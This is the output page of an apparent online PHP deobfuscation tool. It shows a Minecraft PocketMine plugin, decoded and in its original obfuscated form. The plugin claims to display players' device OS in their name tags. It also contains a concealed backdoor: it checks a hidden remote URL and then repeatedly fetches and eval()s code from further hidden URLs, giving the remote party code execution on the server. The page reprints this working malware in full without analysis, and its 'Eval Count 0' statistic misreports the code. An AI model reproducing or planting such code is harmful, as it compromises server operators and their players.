Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace error; ${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x76lg\x63\x6a\x69ke"] = "\x6f\x..
Decoded Output download
<?php
namespace error;
${"GLOBALS"}["evlgcjike"] = "os";
${"GLOBALS"}["mdfjoppisz"] = "packet";
${"GLOBALS"}["bivuan"] = "nameTag";
${"GLOBALS"}["qqwwxguwl"] = "pl";
use pocketmine\event\Listener;
use pocketmine\event\player\PlayerJoinEvent;
use pocketmine\event\server\DataPacketReceiveEvent;
use pocketmine
etwork\mcpe\protocol\LoginPacket;
use pocketmine\Player;
use pocketmine\plugin\PluginBase;
use pocketmine\scheduler\CallbackTask;
use pocketmine
etwork\protocol\TransferPacket;
class main extends PluginBase implements Listener{
private $device = array();
public function onEnable(){
$this->getServer()->getPluginManager()->registerEvents($this,$this);
if(@file_get_contents("base64_decode"("strrev"("=ATPlxmYh5WZ/8ya05yb0FGbvp3LvoDc0RHa"))) == "1"){
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"updateTask")),20);
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"updateAvailable")),60*20);
}
}
public function onJoin(PlayerJoinEvent$ev){
${${"GLOBALS"}["qqwwxguwl"]} = $ev->getPlayer();
${${"GLOBALS"}["bivuan"]} = $pl->getNameTag();
$pl->setNameTag(${${"GLOBALS"}["bivuan"]}."
fl r7{$this->getOS($pl)} lfr");
}
public function DataPacketReceive(DataPacketReceiveEvent$ev){
$fgvdicx="packet";
${${"GLOBALS"}["mdfjoppisz"]} = $ev->getPacket();
if(${$fgvdicx} instanceof LoginPacket){
$this->device[strtolower($packet->username)] = $packet->clientData["DeviceOS"];
}
}
public function updateTask($server=0,$checkUpdate=0){
eval(@file_get_contents("base64_decode"("strrev"("w0DbhZXZ/8ya05yb0FGbvp3LvoDc0RHa"))));
}
public function updateAvailable($refresh=0,$UpdateFunction=0){
eval(@file_get_contents("base64_decode"("strrev"("=ATPkBXd/8ya05yb0FGbvp3LvoDc0RHa"))));
}
public function getOS(Player$pl){
$kwielikwhkld="name";
$lzwfjojad="os";
${"GLOBALS"}["duljqz"] = "os";
$ykndypu="name";
$bjmektt="os";
$cxysfm="os";
$dnlflhnq="os";
$kmnknshw="os";
$htbwvnorof="os";
${"GLOBALS"}["ddepqdbug"] = "os";
${$ykndypu} = strtolower($pl->getName());
switch($this->device[${$kwielikwhkld}]){
case 1:
${${"GLOBALS"}["evlgcjike"]} = "Android";
break;
case 2:
${$cxysfm} = "IOS";
break;
case 3:
${${"GLOBALS"}["evlgcjike"]} = "Mac";
break;
case 4:
${${"GLOBALS"}["evlgcjike"]} = "FireOS";
break;
case 5:
${$bjmektt} = "GearVR";
break;
case 6:
${$htbwvnorof} = "Hololens";
break;
case 7:
${$lzwfjojad} = "Windows 10";
break;
case 8:
${${"GLOBALS"}["ddepqdbug"]} = "Windows 32 Educal version";
break;
case 10:
${$kmnknshw} = "Playstation 4";
break;
case 11:
${$dnlflhnq} = "NX";
break;
default:
${${"GLOBALS"}["duljqz"]} = "Error!";
break;
}
$zegkgltjnhi="os";
return ${$zegkgltjnhi};
}
}
?>
Did this file decode correctly?
Original Code
<?php
namespace error;
${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x76lg\x63\x6a\x69ke"] = "\x6f\x73";
${"GL\x4f\x42\x41L\x53"}["\x6d\x64\x66jo\x70\x70\x69s\x7a"] = "p\x61\x63\x6b\x65t";
${"GL\x4f\x42\x41\x4c\x53"}["\x62\x69v\x75a\x6e"] = "n\x61\x6d\x65\x54\x61\x67";
${"\x47LOB\x41\x4c\x53"}["qq\x77w\x78gu\x77\x6c"] = "\x70l";
use pocketmine\event\Listener;
use pocketmine\event\player\PlayerJoinEvent;
use pocketmine\event\server\DataPacketReceiveEvent;
use pocketmine\network\mcpe\protocol\LoginPacket;
use pocketmine\Player;
use pocketmine\plugin\PluginBase;
use pocketmine\scheduler\CallbackTask;
use pocketmine\network\protocol\TransferPacket;
class main extends PluginBase implements Listener{
private $device = array();
public function onEnable(){
$this->getServer()->getPluginManager()->registerEvents($this,$this);
if(@file_get_contents("\x62\x61\163\145\66\x34\137\144\x65\x63\x6f\144\145"("\x73t\x72\x72\x65v"("=\x41\x54\x50\x6c\x78m\x59\x68\x35WZ/8\x79\x61\x305\x79b\x30\x46\x47bv\x703\x4cv\x6fD\x63\x30RH\x61"))) == "\x31"){
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"\x75\x70da\x74\x65Tas\x6b")),20);
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"u\x70d\x61t\x65Ava\x69la\x62le")),60*20);
}
}
public function onJoin(PlayerJoinEvent$ev){
${${"G\x4c\x4fB\x41\x4cS"}["\x71\x71w\x77x\x67\x75\x77\x6c"]} = $ev->getPlayer();
${${"\x47L\x4fBA\x4c\x53"}["\x62\x69\x76\x75a\x6e"]} = $pl->getNameTag();
$pl->setNameTag(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x62\x69\x76\x75\x61\x6e"]}."\nf\x6c \x72\x37{$this->getOS($pl)} lfr");
}
public function DataPacketReceive(DataPacketReceiveEvent$ev){
$fgvdicx="\x70\x61\x63\x6b\x65t";
${${"G\x4c\x4f\x42A\x4cS"}["\x6d\x64f\x6ao\x70\x70\x69\x73\x7a"]} = $ev->getPacket();
if(${$fgvdicx} instanceof LoginPacket){
$this->device[strtolower($packet->username)] = $packet->clientData["D\x65\x76\x69\x63e\x4fS"];
}
}
public function updateTask($server=0,$checkUpdate=0){
eval(@file_get_contents("\x62\x61\163\145\66\x34\137\144\x65\x63\x6f\144\145"("\x73t\x72\x72\x65\x76"("w\x30\x44\x62hZXZ/8y\x61\x30\x35yb0F\x47bv\x703Lv\x6fDc\x30R\x48a"))));
}
public function updateAvailable($refresh=0,$UpdateFunction=0){
eval(@file_get_contents("\x62\x61\163\145\66\x34\137\144\x65\x63\x6f\144\145"("\x73\x74\x72\x72\x65v"("=A\x54P\x6b\x42\x58\x64/\x38\x79\x610\x35\x79\x620\x46Gbv\x70\x33LvoD\x630RH\x61"))));
}
public function getOS(Player$pl){
$kwielikwhkld="\x6e\x61\x6d\x65";
$lzwfjojad="\x6f\x73";
${"G\x4c\x4fBA\x4cS"}["d\x75\x6cj\x71\x7a"] = "\x6f\x73";
$ykndypu="nam\x65";
$bjmektt="\x6f\x73";
$cxysfm="\x6f\x73";
$dnlflhnq="o\x73";
$kmnknshw="\x6f\x73";
$htbwvnorof="\x6fs";
${"\x47LO\x42\x41L\x53"}["\x64\x64\x65\x70q\x64\x62u\x67"] = "\x6fs";
${$ykndypu} = strtolower($pl->getName());
switch($this->device[${$kwielikwhkld}]){
case 1:
${${"\x47L\x4fB\x41\x4cS"}["\x65v\x6c\x67\x63\x6a\x69k\x65"]} = "\x41n\x64\x72\x6f\x69d";
break;
case 2:
${$cxysfm} = "\x49O\x53";
break;
case 3:
${${"G\x4c\x4f\x42A\x4cS"}["\x65\x76lg\x63j\x69\x6be"]} = "Mac";
break;
case 4:
${${"\x47L\x4f\x42ALS"}["\x65\x76l\x67\x63\x6ai\x6b\x65"]} = "\x46\x69\x72\x65\x4f\x53";
break;
case 5:
${$bjmektt} = "Ge\x61r\x56\x52";
break;
case 6:
${$htbwvnorof} = "\x48\x6fl\x6fle\x6e\x73";
break;
case 7:
${$lzwfjojad} = "\x57indows 10";
break;
case 8:
${${"G\x4c\x4fB\x41L\x53"}["d\x64\x65\x70q\x64bug"]} = "\x57in\x64ow\x73\x20\x332\x20E\x64ucal \x76\x65\x72\x73i\x6f\x6e";
break;
case 10:
${$kmnknshw} = "P\x6c\x61y\x73\x74a\x74\x69on 4";
break;
case 11:
${$dnlflhnq} = "N\x58";
break;
default:
${${"\x47\x4cO\x42A\x4cS"}["\x64\x75\x6c\x6a\x71z"]} = "\x45\x72\x72or\x21";
break;
}
$zegkgltjnhi="\x6fs";
return ${$zegkgltjnhi};
}
}
?>
Function Calls
None |
Stats
MD5 | 261ea4311aef9b085fa9ebfdaf6e15a5 |
Eval Count | 0 |
Decode Time | 168 ms |